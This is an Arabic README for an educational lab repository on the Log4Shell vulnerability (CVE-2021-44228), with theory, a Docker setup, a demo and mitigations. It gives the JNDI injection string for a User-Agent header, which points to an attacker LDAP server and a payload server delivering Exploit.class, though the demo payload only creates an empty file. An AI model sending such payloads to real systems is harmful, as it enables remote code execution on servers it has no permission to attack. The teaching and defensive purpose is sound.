fabioeletto/hka-seminar-log4shellعرض عملي لثغرة Log4Shell الأمنية (CVE-2021-44228)
يُستخدم هذا المستودع حصريًا لأغراض تعليمية وعرض توضيحي في إطار مشروع بحثي متعلق بالأمن السيبراني. لا تستخدم هذا الكود في بيئات الإنتاج أو ضد أنظمة دون إذن صريح. يهدف هذا البناء إلى تعزيز الوعي الأمني وإظهار كيف يمكن أن تنشأ ثغرات معقدة عندما يتم دمج ميزات تبدو غير ضارة مثل تسجيل الأحداث (Logging)، وحل الأسماء (Name Resolution)، والتحميل الديناميكي للفئات (Class Loading) معًا.
الهدف من هذا المشروع البحثي هو توفير فهم عميق لثغرة Log4Shell الأمنية (CVE-2021-44228)، التي أصبحت معروفة في ديسمبر 2021 وصُنّفت كواحدة من أخطر الثغرات الأمنية في السنوات الأخيرة. يشرح العمل المبادئ النظرية ويعرض أيضًا عرضًا توضيحيًا عمليًا للثغرة.
لتوضيح ثغرة Log4Shell الأمنية عمليًا، تم بناء بيئة معزولة وقائمة على الحاويات (Containerized) في هذا المستودع، تعرض مسار الهجوم الكامل بشكل قابل لإعادة الإنتاج. يعتمد العرض التوضيحي على ثلاثة مكونات رئيسية:
User-Agent من طلب HTTP، والتي يمكن للمهاجم التلاعب بها لاستغلال الثغرة.Exploit.class). ومثل خادم LDAP، يخضع هذا الخادم لسيطرة المهاجم.ملاحظة: توجد معلومات أكثر تفصيلاً حول الإعداد وتنفيذ العرض التوضيحي في القسم 4. هيكل المشروع والإعداد و5. عرض المشروع.
Log4Shell هو اسم ثغرة أمنية حرجة في مكتبة Java Log4j تُعرف باسم CVE-2021-44228. تتيح للمهاجم تنفيذ كود عشوائي على خادم بعيد بأقل جهد (Remote Code Execution، واختصارًا RCE).
تؤثر الثغرة على Log4j في الإصدارات 2.0 إلى 2.14.1 وهي خطيرة لدرجة أنها صُنّفت من قبل العديد من الجهات الأمنية، بما في ذلك BSI (Bundesamt für Sicherheit in der Informationstechnik)، في أعلى مستوى خطر.
لذلك تُعد Log4Shell خطيرة بشكل خاص لأن ...
يكمن السبب الجذري في وظيفة من وظائف Log4j تسمح بتحميل محتويات ديناميكية في رسائل السجل عبر ما يسمى Lookups. وبالاقتران مع JNDI (Java Naming and Directory Interface) وبروتوكول LDAP (Lightweight Directory Access Protocol)، يتيح ذلك تحميل وتنفيذ فئات Java خبيثة عن بُعد.
أدى اكتشاف الثغرة ونشرها إلى موجة أمنية عالمية؛ إذ كان لا بد من تحديث (Patch) أو إيقاف تشغيل العديد من الأنظمة على الفور. وفي الفترة اللاحقة ظهرت ثغرات أخرى ذات صلة (مثل CVE-2021-45046)، مما يوضح مدى عمق وخطورة هذه المشكلة.
في ما يلي، يتم شرح التقنيات المعنية وتفاعلها بالتفصيل من أجل تطوير فهم أعمق للثغرة.
Log4j هي مكتبة أنشأتها Apache لتسجيل الأحداث في تطبيقات Java. يُعد التسجيل (Logging) أداة مركزية في تطوير البرمجيات لمراقبة الأنظمة أو تحليل الأخطاء. تُعد Log4j واحدة من أشهر أطر عمل التسجيل وأكثرها استخدامًا في النظام البيئي لـ Java، وتُستخدم في التطبيقات الصغيرة وأنظمة المؤسسات الكبيرة على حد سواء.
أثناء تشغيل البرنامج، تحدث على سبيل المثال الأحداث التالية:
يمكن توثيق هذه الأحداث باستخدام السجلات (Logs)، غالبًا كمخرجات نصية في وحدة التحكم، أو في ملفات، أو عبر بروتوكولات الشبكة إلى خوادم سجلات مركزية. من خلال التسجيل المناسب يمكن تتبع ما الذي فعلته التطبيق ومتى.
توفّر Log4j بنية تحتية مرنة وقابلة للتكوين بدرجة كبيرة لإنشاء رسائل السجل ومعالجتها. وتشمل الوظائف الرئيسية:
DEBUG، INFO، WARN، ERROR) يمكن من خلالها التحكم في مدى تفصيل التسجيل.سيتم تناول ميزات أخرى ذات صلة بالمشروع البحثي في أقسام لاحقة، ولا سيما وظيفة العناصر النائبة (Placeholder) ووظيفة الاستعلام (Lookup).
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
في هذا المثال البسيط، يتم إنشاء مثيل Logger أو استرجاعه إذا كان موجودًا بالفعل. بعد ذلك، يتم إخراج رسالة سجل على مستوى `INFO`. يتولى Log4j تنسيق الرسالة وإخراجها، استنادًا إلى الإعدادات. قد تبدو إعدادات المثال على النحو التالي:```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
هذا التكوين يُعرّف مُلحق (Appender) يخرج رسائل السجل بالتنسيق Datum Uhrzeit Log-Level Loggername - Nachricht على وحدة التحكم. ثم يُعيَّن هذا المُلحق إلى مسجّل الجذر (Root-Logger)، الذي يعالج جميع رسائل السجل ابتداءً من المستوى INFO.
قد يبدو الإخراج بعد ذلك على النحو التالي:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...
الآن دعونا ننتقل إلى الميزات المحددة لـ Log4j الأكثر صلة بثغرة Log4Shell.
#### العناصر النائبة في رسائل السجل
من الميزات المفيدة بشكل خاص في Log4j دعم **العناصر النائبة** في رسائل السجل. بهذه الطريقة يمكن إدراج محتوى ديناميكي في وقت التشغيل في مخرجات السجل:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
أثناء التشغيل، يتم استبدال {} بالقيمة الفعلية للمتغير username.
يؤدي هذا إلى الإخراج التالي:```text
"Benutzer angemeldet: Alice"
#### التعبيرات الديناميكية المسماة Lookups
إلى جانب العناصر النائبة البسيطة، يوفر Log4j أيضًا إمكانية حل تعبيرات أكثر تعقيدًا مباشرة في رسالة السجل. تُسمى هذه الوظيفة **Lookup**: وهي تسمح بإدراج قيم ديناميكيًا في وقت التشغيل (مثل متغيرات البيئة أو معلومات النظام أو قيم التكوين)
أمثلة على هذه التعبيرات الديناميكية:
- `${env:HOME}` - يعيد قيمة متغير البيئة `HOME`. على Linux / macOS سيكون مثلًا `/home/username`.
- `${docker:...}` - قد يوفر معلومات حول حاوية Docker التي يعمل فيها التطبيق.
- `${jndi:...}` - ينفذ بحث JNDI لتحميل موارد داخلية أو خارجية.
في القسم التالي، سننظر في وظيفة JNDI عن كثب، لأنها تلعب دورًا محوريًا في ثغرة Log4Shell الأمنية.
### 3.2 JNDI - آلية البحث
**JNDI** تعني _Java Naming and Directory Interface_ وهي واجهة برمجة تطبيقات Java موحدة تتيح الوصول إلى **خدمات الأسماء والدليل**. باستخدام JNDI، يمكن لتطبيقات Java الإشارة إلى الموارد ليس مباشرة عبر مسارات تقنية، بل عبر أسماء رمزية.
من الاستخدامات الكلاسيكية لـ JNDI هو البحث عن اتصالات قواعد البيانات، كما ترون هنا:```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
أولاً، يتم إنشاء InitialContext الذي يمثل نقطة الدخول لحل الأسماء باستخدام JNDI. بعد ذلك، يتم البحث عن مورد عبر طريقة lookup. في هذه الحالة، مصدر بيانات (DataSource) بالاسم الرمزي java:/comp/env/jdbc/myDB.
يستخدم تطبيق Java واجهة JNDI المستقلة عن البروتوكول، وتحتوي هذه الواجهة على فئات مثل InitialContext مع طريقة lookup. تكون الواجهة البرمجية (API) هي نفسها دائمًا سواء تم استخدام LDAP أو DNS أو غيرها. يعمل مدير الأسماء (Naming Manager) كوسيط ويختار موفر الخدمة المناسب الذي يتولى الاتصال الفعلي. أما JNDI SPI (واجهة موفر الخدمة) فهي مجموعة من الفئات التي تنفذ وظائف JNDI لمختلف البروتوكولات. في حالتنا، موفر الخدمة ذو الصلة هو LDAP.
في القسم التالي، سنلقي نظرة أقرب على موفر الخدمة LDAP.
LDAP هو اختصار لـ Lightweight Directory Access Protocol (بروتوكول الوصول الخفيف إلى الدليل)، وهو بروتوكول شبكة معياري يتيح الوصول إلى ما يسمى خدمات الدليل. طُوِّر في الأصل كبديل خفيف لـ X.500، ويُعد اليوم معيارًا في العديد من شبكات المؤسسات، خاصةً للإدارة المركزية للمستخدمين والصلاحيات.
خدمة الدليل هي قاعدة بيانات منظمة تخزن المعلومات بشكل هرمي. وعلى عكس قواعد البيانات العلائقية، فإن الدليل:
كما يظهر في الصورة، يتم تنظيم دليل LDAP في بنية شجرية. على المستوى الجذري توجد مكونات النطاق (dc). تحتها يمكن أن توجد وحدات تنظيمية (ou)، تمثل تقسيمات فرعية مثل Users. أما بالنسبة للمستخدمين أو الكائنات الفردية، فهناك أسماء شائعة (cn) تحدد الإدخال المحدد ويمكن أن تحتوي على سمات مختلفة.
المعنى:
dn: Distinguished Namedc: Domain Componentou: Organizational Unitcn: Common Nameلننظر الآن إلى كيفية التعامل مع LDAP والدور الذي يلعبه في ثغرة Log4Shell.
يمكن في LDAP تخزين مراجع لفئات خارجية يمكن تحميلها لاحقًا عند الحاجة. ويتم ذلك عبر سمات خاصة مثل javaClassName وjavaCodeBase. يمكن أن تشير هذه السمات إلى عنوان URL يُراد تحميل فئة Java منه.
باستخدام عنوان URL التالي، يمكننا على سبيل المثال الاستعلام عن كائن يشير إلى فئة Java:``` ldap://ldap-server:1389/Exploit
كما يظهر في الصورة، يحتوي إدخال LDAP على سمة `javaClassName` تشير إلى الفئة `Exploit`. وباستخدام السمة `javaCodeBase` يتم تحديد عنوان URL الذي سيتم تحميل الفئة منه. في هذه الحالة، هو خادم HTTP بعنوان `http://payload-server/` يوفّر ملف `Exploit.class`.
لقد استعرضنا الآن جميع المكوّنات التقنية بالتفصيل. في القسم التالي، سيتم وصف الآلية العامة لثغرة Log4Shell لفهم كيفية تفاعل هذه التقنيات معًا وناقل الهجوم الذي ينشأ نتيجةً لذلك.
### 3.4 الآلية العامة لثغرة Log4Shell
بعد أن استعرضنا كلًّا من التقنيات الثلاث المشاركة، **Log4j** كإطار عمل للتسجيل، و**JNDI** كواجهة لخدمة الدليل، و**LDAP** كخدمة دليل ملموسة، أصبح من الواضح الآن مدى خطورة الجمع بينها إذا لم يتم اتخاذ إجراءات أمنية.
في إصدارات Log4j حتى 2.14.1، كان من الممكن جعل ما يسمى بـ **Lookups** تُقيَّم مباشرةً داخل رسائل السجل. وبهذا، كان يمكن تضمين استعلامات JNDI عبر LDAP، والتي كانت قادرة بعد ذلك على تحميل وتنفيذ أي فئات Java من خادم بعيد دون الحاجة إلى تفعيل هذه الوظيفة بشكل صريح.
#### سيناريو محدد للتكامل:
الآن، لنطبّق ما تعلّمناه للتو في مثال عملي. كخطوة أولى، نبدأ باستعلام JNDI-Lookup بالتعبير التالي:```text
${jndi:...}
لنقم الآن بإعداد موفّر خدمة LDAP لتحميل فئة Java عن بُعد ldap://ldap-server:1389/Exploit. وبدمجها معًا نحصل على السلسلة التالية:```text
${jndi:ldap://ldap-server:1389/Exploit}
الآن كل ما على المهاجم فعله هو ضمان وصول هذه السلسلة النصية إلى رسالة سجل، على سبيل المثال من خلال التلاعب بترويسة HTTP.
كما يظهر في الصورة، يوجد على اليسار المهاجم الذي يستضيف خادم LDAP وخادم Payload خاصين به. وعلى اليمين التطبيق المعرّض للخطر مع إصدار Log4j 2.14.1. تسلسل الهجوم هو كما يلي:
1. يرسل المهاجم طلب HTTP إلى التطبيق ويُدخل السلسلة النصية المعدَّلة الموضحة أعلاه، على سبيل المثال، في ترويسة `User-Agent`: ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
User-Agent: ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
Log4j يكتشف ${jndi:...}وينفذ تلقائيًا JNDI-Lookup عبر البروتوكول المحدد ldap
الآن يتم استدعاء مزود خدمة LDAP لحل عنوان URL المحدد ldap://ldap-server:1389/Exploit.
يستجيب خادم LDAP بإحالة إلى فئة Java الخارجية (Exploit.class) الموجودة على الخادم التالي: ```
http://payload-server:8000/Exploit.class
ترسل التطبيق طلبًا إلى خادم الحمولة (Payload Server) لتحميل Exploit.class.
يستجيب خادم الحمولة بفئة Java Exploit.class. بعد ذلك، يتم تنفيذ هذه الفئة دون أي تحقق. وبذلك يمتلك المهاجم السيطرة الكاملة على الكود الذي يتم تنفيذه على الخادم الضعيف.
لأن:
إن التفاعل بين الاستعلامات الديناميكية في Log4j، وحل الأسماء المرن عبر JNDI، وبروتوكول LDAP يُنشئ سطح هجوم غير متوقع. ما كان يُقصد به في الأصل كميزة إعداد قوية أصبح بوابة لتنفيذ الكود عن بُعد (Remote Code Execution).
في القسم التالي، سيتم وصف بنية المشروع وإعداد العرض التوضيحي لتنفيذ الثغرة محليًا.
تعكس بنية المشروع المكونات الرئيسية الثلاثة:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...
### 4.2 المتطلبات
لتشغيل عرض Log4Shell محليًا، يلزم توفر المتطلبات التالية:
#### Docker & Docker Compose
تعتمد البنية التحتية بالكامل على الحاويات. تضمن Docker أن كل مكوّن (vulnerable-app, ldap-server, payload-server) يعمل في بيئة معزولة.
- **Docker**:
التثبيت عبر [https://www.docker.com/get-started](https://www.docker.com/get-started)
- **Docker Compose** (يأتي مرفقًا بالفعل مع Docker Desktop)
يمكن تثبيته بدلاً من ذلك عبر [https://docs.docker.com/compose/](https://docs.docker.com/compose/)
#### cURL
لتنفيذ الهجوم عبر سطر الأوامر، يمكن استخدام أداة `curl`:
- مثبّت مسبقًا على Linux/macOS
- على Windows عبر [https://curl.se/](https://curl.se/) أو متضمّن في Git Bash
> **ملاحظة:** يعمل التطبيق وجميع الخوادم المضمّنة محليًا على جهازك، وتتم جميع الاتصالات حصريًا داخل شبكة Docker معزولة (`log4shell-network`). لا يلزم أي اتصال بالخوادم الخارجية ولا يتم إنشاؤه.
### 4.3 الإعداد
يصف هذا القسم كيفية إعداد البيئة محليًا وتشغيلها.
#### الخطوة 1: استنساخ المستودع```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
باستخدام Docker Compose يمكن تشغيل جميع الخدمات المطلوبة بأمر واحد:```bash docker-compose up --build
`docker-compose up --build` يؤدي إلى:
- يتم بناء الصور الخاصة بـ `vulnerable_app` و`ldap_server` و`payload_server`
- يتم تشغيل جميع الخدمات الثلاث
- تتواصل الخدمات فيما بينها عبر شبكة Docker داخلية مشتركة (`log4shell-network`)
بعد بدء التشغيل بنجاح، يمكن الوصول إلى التطبيق عبر نقطة النهاية التالية:```
http://localhost:8080
Log-Ausgaben und Ereignisse erscheinen live in der Konsole. Die Container laufen, solange das Terminalfenster geöffnet ist (oder der Prozess im Hintergrund läuft).
ملاحظة: تأكد من عدم تشغيل أي خدمات أخرى على المنافذ 8080 أو 1389 أو 8000 لتجنب التعارضات.
إذا كنت تريد إغلاق الحاويات، يمكنك القيام بذلك عبر
docker-compose down. سيؤدي ذلك إلى إيقاف جميع الحاويات قيد التشغيل وإزالتها، لكن الصور ستبقى محفوظة.
في هذا القسم، يتم توضيح كيفية استغلال ثغرة Log4Shell في بيئة العرض التوضيحي المُجهزة. تعمل جميع المكونات التي تم تشغيلها مسبقًا معًا:
User-Agent باستخدام Log4jExploit.class)لتشغيل العرض التوضيحي، تحتاج إلى نافذتي طرفية. ابدأ أولاً بتشغيل البيئة باستخدام docker-compose up --build في أحد الأطراف، إذا لم تكن قد فعلت ذلك بالفعل. بعد ذلك، في الطرف الثاني، نفّذ الخطوات التالية:
تحقق من أن الملف غير موجود:
نظرًا لأن هذا عرض توضيحي، يتم إنشاء ملف فارغ فقط كاستغلال لإثبات نجاح التنفيذ. يمكنك الاطلاع على ذلك من الفئة payload-server/Exploit.java. للتحقق من أن الملف غير موجود، نفّذ الأمر التالي: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
إذا لم يكن الملف موجودًا، فيجب أن تظهر رسالة خطأ مثل No such file or directory. وهذا يؤكد أن الـ exploit لم يُنفَّذ بعد.
شرح الحمولة (Payload):
${jndi:...}: يفسّر Log4j هذا التعبير تلقائيًا وينفّذ بحثًا عبر JNDI.ldap://ldap-server:1389: يتصل بخادم LDAP الذي يعمل داخل شبكة Docker./Exploit: اسم إدخال LDAP الذي يشير إلى الفئة الضارّة.http://localhost:8080: عنوان URL للتطبيق القابل للاستغلال الذي ترسل إليه الطلب لتفعيل ثغرة Log4j.ماذا يحدث في الخلفية؟
User-AgentUser-Agent وينفّذ بحث JNDI عبر LDAPExploit.class بعيد يوفّره خادم الحمولةملاحظة: كما ذُكر سابقًا، في هذا العرض التوضيحي يتم فقط إنشاء ملف فارغ لإثبات نجاح التنفيذ. في سيناريوهات الهجوم الحقيقية، يمكن تنفيذ أي كود تعسّفي!
التحقق من نتيجة الهجوم
يمكنك الآن التحقق مرة أخرى من إنشاء الملف /tmp/remote_code_execution داخل الحاوية: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
إذا نجح الهجوم، فيجب أن ترى المخرجات التالية: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
مع سطر سجل واحد تم التلاعب به فقط، يتم إطلاق عملية تنفيذ كامل للأكواد عن بُعد، وهذا بالضبط ما يجعل Log4Shell بهذه الخطورة. يوضح هذا العرض كيفية التفاعل بين **Log4j** و**JNDI** و**LDAP** الذي يؤدي إلى الاستغلال.
## 6. إجراءات الحماية
أظهرت ثغرة Log4Shell كيف يمكن للتطبيقات الحديثة أن تُخترق بعمق عبر ميزات تبدو غير ضارة. لتأمين الأنظمة بفعالية ضد مثل هذه الهجمات، يجب تنفيذ الإجراءات التالية:
- **تحديث إصدار Log4j (على الأقل 2.17.1)**
الإجراء الأهم هو **التحديث إلى إصدار Log4j ≥ 2.17.1**، لأنه فقط منذ هذا الإصدار تم إصلاح جميع الثغرات المعروفة (بما في ذلك هجمات حجب الخدمة DoS واستغلالات الإعدادات). الإصدارات الأقدم لا تزال عرضة للاختراق ولا ينبغي استخدامها بعد الآن!
- **تعطيل عمليات بحث JNDI**
إذا لم يكن التحديث الكامل ممكنًا، فيجب **تعطيل عمليات بحث JNDI**. يمكن تحقيق ذلك في ملف `log4j2.properties` عن طريق تعيين الإعداد التالي: ```properties
log4j2.formatMsgNoLookups=true
يمنع هذا الإعداد Log4j من تقييم عمليات بحث JNDI في رسائل السجل. وهذا يقلل بشكل كبير من سطح الهجوم. ومع ذلك، فإن هذا مجرد حل مؤقت، إذ قد تظل هناك ثغرات أخرى قائمة (DoS، استغلالات التكوين).
التحقق من المدخلات
جميع مدخلات المستخدم يجب التحقق منها وتنظيفها قبل استخدامها في رسائل السجل. وعلى وجه الخصوص، لا ينبغي اعتماد التعبيرات الديناميكية مثل ${jndi:...} مباشرةً.
تقييد الاتصالات الشبكية الصادرة
كان أحد المكونات الأساسية للاستغلال هو الوصول غير المقيد إلى خوادم خارجية يتحكم فيها المهاجم. ينبغي تكوين الأنظمة بحيث لا تتمكن من الوصول إلى أي أهداف خارجية عشوائية، على سبيل المثال من خلال جدران الحماية أو سياسات الشبكة. وعلى وجه الخصوص، ينبغي منع الوصول إلى أهداف LDAP غير معروفة من داخل التطبيق.
تُظهر ثغرة Log4Shell الأمنية بشكل بليغ مدى أهمية عدم الاعتماد فقط على أمان الكود الخاص بك، بل أيضًا اختيار المكتبات والأطر المستخدمة وفهمها بعناية. في هذه الحالة، أدت مكتبة تسجيل تبدو غير ضارة (Log4j) إلى ثغرة تنفيذ تعليمات برمجية عن بُعد. يُظهر هذا أن التبعيات يمكن أن تصبح أيضًا بوابة للاستغلالات. يجب على المرء دائمًا أن يتساءل عما إذا كان يحتاج حقًا إلى مكتبة خارجية أم أنه يمكن تنفيذ وظيفة ما دون تبعيات إضافية.
نقطة مهمة أخرى هي موضوع التعقيد الخفي. تبدو الوظائف مثل ${env:HOME} داخل رسالة سجل غير ضارة، لكنها تخفي آليات معقدة في الخلفية، مثل عمليات البحث الديناميكية. وبهذا يمكن أن يتسلل سلوك خطير دون أن يُلاحَظ. بدلاً من ذلك، يُفضَّل استخدام حلول صريحة وشفافة، مثل System.getenv("HOME")، وبهذا يحتفظ المرء بالسيطرة ويستطيع تتبّع ما يحدث.
علاوة على ذلك، هناك مبدأ عام لكنه غالبًا ما يُهمَل: لا تقم أبدًا بمعالجة مدخلات المستخدم دون فحصها. خاصةً في العمليات الحساسة أمنيًا مثل التسجيل، أو الوصول إلى قواعد البيانات، أو أوامر النظام، يجب التحقق من المدخلات وتنظيفها.
وأخيرًا وليس آخرًا، يُظهر الحادث مدى الخطورة التي قد تنتج عن تفعيل ميزات قوية مثل عمليات بحث JNDI افتراضيًا. لو لم تكن هذه الميزة مفعّلة افتراضيًا في Log4j، لتأثرت مجموعة صغيرة فقط من الأنظمة.
أهم الدروس المستفادة: